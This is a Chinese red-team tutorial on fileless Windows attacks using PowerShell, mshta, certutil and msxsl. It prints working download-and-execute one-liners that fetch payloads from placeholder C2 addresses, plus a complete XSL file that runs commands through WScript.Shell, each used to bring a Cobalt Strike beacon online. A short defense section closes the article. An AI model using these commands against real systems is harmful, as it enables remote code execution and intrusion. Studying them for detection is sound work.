『红蓝对抗』无文件落地攻击手法
0x00 前言
无文件落地攻击(Fileless Attack)是一种高级的网络攻击技术,它利用操作系统或应用程序的漏洞,通过在内存中运行恶意代码而不在受攻击系统上留下任何可检测的文件痕迹。与传统的恶意软件攻击不同,无文件攻击不需要依赖传统的恶意软件文件来实施攻击,从而增加了攻击的隐蔽性和成功率。
无文件攻击通常利用合法的系统工具和功能,如PowerShell、WMI(Windows Management Instrumentation)、注册表等,来执行恶意代码。攻击者可以通过操纵这些合法工具来加载和执行恶意代码,并将其驻留在受害系统的内存中。由于没有文件被写入磁盘,传统的防病毒软件和安全工具难以检测到这种类型的攻击。
0x01 无文件落地攻击的常用手法
一般来说在windows的能执行脚本或命令的组件都可以用来利用进行无文件落地攻击。
我们常见的可以利用Windows自带的解析器:
PowerShell 解析器 >>> PowerShell.exe(应用程序)
VB.script 解析器 >>> cscript.exe(应用程序)
bat处理 解析器 >>> cmd.exe(应用程序)
javaSrtipt 解析器 >>> mshta.exe(应用程序)
0x02 无文件落地攻击的优势
无文件攻击与传统的恶意软件攻击相比,有以下对比优势:
-
隐蔽性:无文件攻击不需要在受害系统上留下可见的文件痕迹,因此比传统的恶意软件攻击更难被发现。
-
检测困难:传统的基于文件扫描的安全工具难以检测到无文件攻击,因为没有文件可供扫描。而无文件攻击利用系统内置的合法工具和功能来执行攻击,增加了攻击的成功率。
-
利用系统工具:无文件攻击通常利用系统内置的合法工具和功能来执行恶意代码,比传统的恶意软件攻击更加难以防范和识别。
-
成功率高:由于无文件攻击具有较高的隐蔽性和检测困难性,攻击者可以更容易地将攻击成功地进行下去。
0x03 常见的利用方式
3.1 PowerShell 利用
PowerShell是由Microsoft开发的一种跨平台的命令行脚本语言和任务自动化工具。
它是Windows操作系统的重要组成部分,并且可用于管理和控制Windows系统中的各种功能。
PowerShell可以用于自动化系统管理任务、批量处理、测试和部署脚本等。它是Windows系统管理的重要工具之一,并且在开发、测试、运维等领域都有广泛的应用。
PowerShell具有以下特点:
-
面向对象:PowerShell是一种面向对象的编程语言,具有类、对象、属性和方法等概念。
-
强大的命令行界面:PowerShell提供了丰富的命令行界面,可以方便地执行各种系统管理任务,如文件操作、进程管理、网络配置等。
-
与.NET框架兼容:PowerShell完全兼容.NET框架,并且可以使用.NET框架中的类库和对象。
-
可扩展性:PowerShell支持插件和模块,可以扩展其功能以适应不同的需求。
-
跨平台支持:PowerShell已经被移植到Linux和macOS平台,并支持跨平台脚本编写。
-
安全性:PowerShell提供了严格的访问控制和权限管理机制,可以确保系统的安全性。
PowerShell 利用常见手法
在Cobalt Strike的Attacks-Web Drive-by-Scripted Web Delivery生成木马。
PowerShell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://X.X.X.X:12333/a'))"

在目标机器上调用PowerShell远程加载执行我们的恶意文件,运行成功后可以发现成功在Cobalt Strike中上线。

3.2 Mshta.exe 利用常见手法
HTA(HTML Application)文件是一种特殊类型的可执行文件,它基于HTML和脚本语言(通常是VBScript或JScript)编写。HTA文件可以被认为是一个独立的、自包含的桌面应用程序,它结合了HTML的界面设计和脚本语言的功能。
HTA文件具有以下特点:
-
结构类似于HTML:HTA文件使用HTML标记语言来定义用户界面,可以包含常见的HTML元素和样式。
-
支持脚本语言:HTA文件通常使用VBScript或JScript等脚本语言来实现交互逻辑和功能。
-
具有完全的系统访问权限:与普通的Web应用程序不同,HTA文件在被执行时拥有与本地应用程序相同的权限,可以访问系统资源和执行系统命令。
-
可以通过双击方式执行:HTA文件可以直接在Windows操作系统中双击打开,并以独立窗口的形式显示应用程序界面。
-
可以与本地系统进行交互:HTA文件可以与本地文件系统、Windows注册表、操作系统组件等进行交互,实现更丰富的功能。
在 Cobalt Strike 中利用方式
在Cobalt Strike的Attacks-Packages-HTML Application生成一个HTA恶意脚本evil1.hta。
然后在Cobalt Strike的Attacks-Web Drive-by-Host File部署远端hta木马。在实际应用中建议payload和回连c2进行分离。
当在目标机器中运行命令mshta http://x.x.x.x:8083/22.hta,发现成功在Cobalt Strike中上线。
3.3 certutil.exe 利用常见手法
Certutil.exe是Windows操作系统自带的一个证书管理命令行工具,用于管理证书和密钥,以及执行与证书相关的操作。它可以对证书进行导入、导出、查看、删除等操作,并支持多种证书格式,如X.509、PKCS#12等。Certutil.exe可以在Windows系统的命令提示符下执行,也可以通过批处理脚本等方式进行批量处理。它对于保护系统安全和管理证书非常有用。
在实际的渗透环境中,我们也可以利用它来解决一些无法上传脚本的情况。
Certutil.exe的一些常见用途包括:
-
证书安装和导出:通过Certutil.exe,可以将证书安装到本地计算机或用户的证书存储区,并且可以将证书导出到文件。
-
查看证书详细信息:使用Certutil.exe,可以查看证书的详细信息,例如颁发机构、有效期、密钥类型等。
-
验证证书链:Certutil.exe提供了验证证书链的功能,可以检查证书是否已被吊销或是否存在其他安全问题。
-
签名文件:Certutil.exe可以用于签名文件并生成数字签名,从而保证文件的完整性和真实性。
-
生成证书请求:通过Certutil.exe,可以生成证书请求文件,该文件可用于申请数字证书。
在 Cobalt Strike 中利用方式
同样利用Cobalt Strike生成恶意PowerShell文件,并在远端C2机器上进行部署。
在目标机器上运行如下命令,将恶意文件保存在当前路径,并指定保存文件名称。
certutil -urlcache -split -f http://x.x.x.x:8087/download/1.txt 1.ps1
在保存文件的路径下,执行恶意文件后,发现成功上线Cobalt Strike。
3.4 msxsl.exe 利用
msxsl.exe这个工具是windows发布的一个组件但是它并没有安装在windows操作系统中。利用的时候需要上传到目标机器或者通过钓鱼的手法在目标机器上加载释放。
网上没有过多的介绍,msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。
工具下载地址:
https://github.com/TechnoVilla/msxsl
在Cobalt Strike中利用方式
执行该工具需要用到两个文件,分别为XML及XSL文件,并在目标机器上运行如下命令。
msxsl.exe test.xml exec.xsl
test.xml文件内容如下:
<customers><customer><name>Microsoft</name></customer></customers>
exec.xsl文件内容如下:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");return nodelist.nextNode().xml;}</msxsl:script><xsl:template match="/"><xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>
在目标机器上运行msxsl.exe test.xml exec.xsl可以弹出计算器。
利用Cobalt Strike生成恶意PowerShell文件,并修改exec.xsl文件。
在目标机器运行命令msxsl.exe test.xml exec.xsl,如下图所示可成功上线CS。

0x04 如何防御
为了防范无文件攻击,组织可以采取以下措施:

1. 更新和修补系统:及时更新操作系统和应用程序的补丁,以修复已知的漏洞。
2. 启用安全策略:限制可执行文件的执行权限,只允许受信任的程序运行。
3. 监控和检测:使用行为分析和异常检测技术来检测异常活动和恶意行为。
4. 安全意识培训:提高员工对无文件攻击和其他网络威胁的认识,教育他们如何识别和避免风险。
文章来源:宸极实验室
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
华盟君